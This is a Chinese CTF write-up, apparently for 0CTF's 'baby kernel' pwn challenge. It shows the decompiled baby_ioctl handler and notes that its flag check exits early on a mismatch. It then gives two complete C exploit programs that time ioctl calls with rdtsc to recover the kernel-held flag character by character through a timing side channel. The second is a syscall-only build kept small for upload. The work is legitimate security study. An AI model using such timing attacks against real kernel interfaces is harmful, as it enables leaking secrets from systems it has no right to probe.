题目应该是0CTF的baby kernel,关键函数是baby_ioctl

__int64 __fastcall baby_ioctl(struct file *a1, unsigned int a2, unsigned __int64 a3)
{
  __int64 v3; // rdx
  __int64 v4; // rcx
  __int64 result; // rax
  unsigned __int64 v6; // kr10_8
  int i; // [rsp-5Ch] [rbp-5Ch]
  __int64 v8; // [rsp-58h] [rbp-58h]

  _fentry__(a1, a2);
  v8 = v3;
  if ( a2 == 0x6666 )
  {
    printk("Your flag is at %px! But I don't think you know it's content\n", flag, v3, v4);
    result = 0LL;
  }
  else if ( a2 == 0x1337
         && !_chk_range_not_ok(v3, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && !_chk_range_not_ok(
               *(_QWORD *)v8,
               *(int *)(v8 + 8),
               *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && *(_DWORD *)(v8 + 8) == strlen(flag) )
  {
    for ( i = 0; ; ++i )
    {
      v6 = strlen(flag) + 1;
      if ( i >= v6 - 1 )
        break;
      if ( *(_BYTE *)(*(_QWORD *)v8 + i) != flag[i] )
        return 22LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag, flag, ~v6);
    result = 0LL;
  }
  else
  {
    result = 14LL;
  }
  return result;
}

这个函数将输入字符的每一个char与flag对比,很容易发现一点,

  1. 如果当前字符与flag不相等,就会直接返回
  2. 如果当前字符与flag相等,判断下一个字符

我们可以得出:如果输入char正确,消耗的时间更长。(因为会继续判断下一个字符是否正确)

#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
typedef struct
{
    char *flag;
    unsigned long len;
} poc;
static __inline__ unsigned long long rdtsc(void)
{
    unsigned hi, lo;
    __asm__ __volatile__("rdtsc"
                         : "=a"(lo), "=d"(hi));
    return ((unsigned long long)lo) | (((unsigned long long)hi) << 32);
}

unsigned long long time[33][2000];
unsigned long long guesstime[200];
int main()
{

    int f = open("/dev/baby", O_RDWR);
    if (f == -1)
    {
        printf("open file error\n");
        return 0;
    }
    ioctl(f, 0x6666);
    char fakeflag[34] = {};

    for (int i = 0; i < 33; ++i)
    {
        poc a = {fakeflag, sizeof(fakeflag) - 1};

        for (unsigned char guess = 1; guess < 200; ++guess)
        {

            fakeflag[i] = guess;
            for (int j = 0; j < 2000; ++j)
            {
                unsigned long long begintime = rdtsc();
                ioctl(f, 0x1337, &a);
                unsigned long long endtime = rdtsc();
                time[i][j] = endtime - begintime;

                if (j == 0)
                {
                    guesstime[guess] = time[i][j];
                }
                else
                {
                    if (guesstime[guess] > time[i][j])
                    {
                        guesstime[guess] = time[i][j]; //2000 time min
                    }
                }
            }
        }
        for (unsigned char guess = 1; guess < 200; ++guess)
        {
            unsigned long long guessmintime;
            if (guess == 1)
            {
                fakeflag[i] = guess;
                guessmintime = guesstime[guess];
            }
            else
            {
                if (guesstime[guess] > guessmintime)
                {
                    fakeflag[i] = guess;
                    guessmintime = guesstime[guess];
                }
            }
        }
    }


    printf("%s\n", fakeflag);
}

由于busybox编译是时候选择了静态编译,而如果我们在编译程序的时候加上-static 会导致编译出来的程序太大(接近1M),不方便我们上传到服务器。所以下方进行修改。使用gcc -O2出来的程序只有2kb嘻嘻嘻。

gcc poc.c -o poc -O2 -static -nostdlib

#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/syscall.h>

unsigned long long mysyscall(unsigned long long index,unsigned long long a1,unsigned long long a2,unsigned long long a3)
{
    unsigned long long ret;
    __asm__ __volatile__ (
        "syscall"
        :"=a" (ret)
        :"a"(index),"D"(a1),"S"(a2),"d"(a3)
        :"cc", "rcx", "r11", "memory"
    );
    return ret;
}



typedef struct
{
    char *flag;
    unsigned long len;
} poc;
static __inline__ unsigned long long rdtsc(void)
{
    unsigned hi, lo;
    __asm__ __volatile__("rdtsc"
                         : "=a"(lo), "=d"(hi));
    return ((unsigned long long)lo) | (((unsigned long long)hi) << 32);
}

unsigned long long lenstr(char* a)
{
    unsigned long long i=0;
    while (a[i]!=0)
    {
        ++i;
    }
    return i;
    
}
void readstr(char* a,unsigned long long len)
{
    unsigned long long index=0;
    while (index<len && mysyscall(SYS_read,0,a+index,1))
    {
        if(a[index]=='\n')
        {
            a[index]=0;
            return;
        }
        ++index;
    }
    a[index]=0;
}

unsigned long long guesstime[200];
int main()
{
    int f = mysyscall(SYS_open,"/dev/baby", 2,0);
    if (f <0 )
    {
        char *text="open file error\n";
        mysyscall(SYS_write,0,text,lenstr(text));
        return 0;
    }
    else
    {
        char *text="open file success\n";
        mysyscall(SYS_write,0,text,lenstr(text));
    }
    
    //ioctl(f, 0x6666);
    
    char fakeflag[34];
    readstr(fakeflag,34);
    mysyscall(SYS_write,0,fakeflag,lenstr(fakeflag));

    for (int i =lenstr(fakeflag) ; i < 33; ++i)
    {

        {
        char *text="n ";
        mysyscall(SYS_write,0,text,lenstr(text));
        }

        poc a = {fakeflag, sizeof(fakeflag) - 1};

        for (unsigned char guess = 33; guess < 127; ++guess)
        {

            fakeflag[i] = guess;
            for (int j = 0; j < 10000; ++j)
            {
                unsigned long long begintime = rdtsc();
                mysyscall(SYS_ioctl,f, 0x1337, &a);
                unsigned long long endtime = rdtsc();
                unsigned long long usedtime = endtime - begintime;

                if (j == 0)
                {
                    guesstime[guess] = usedtime;
                }
                else
                {
                    if (guesstime[guess] > usedtime)
                    {
                        guesstime[guess] = usedtime; //10000 time min
                    }
                }
            }
        }
        for (unsigned char guess = 33; guess < 127; ++guess)
        {
            unsigned long long guessmintime;
            if (guess == 33)
            {
                fakeflag[i] = guess;
                guessmintime = guesstime[guess];
            }
            else
            {
                if (guesstime[guess] > guessmintime)
                {
                    fakeflag[i] = guess;
                    guessmintime = guesstime[guess];
                }
            }
        }
    }


    mysyscall(SYS_write,0,fakeflag,lenstr(fakeflag));
}

Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.

分类: PWN

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注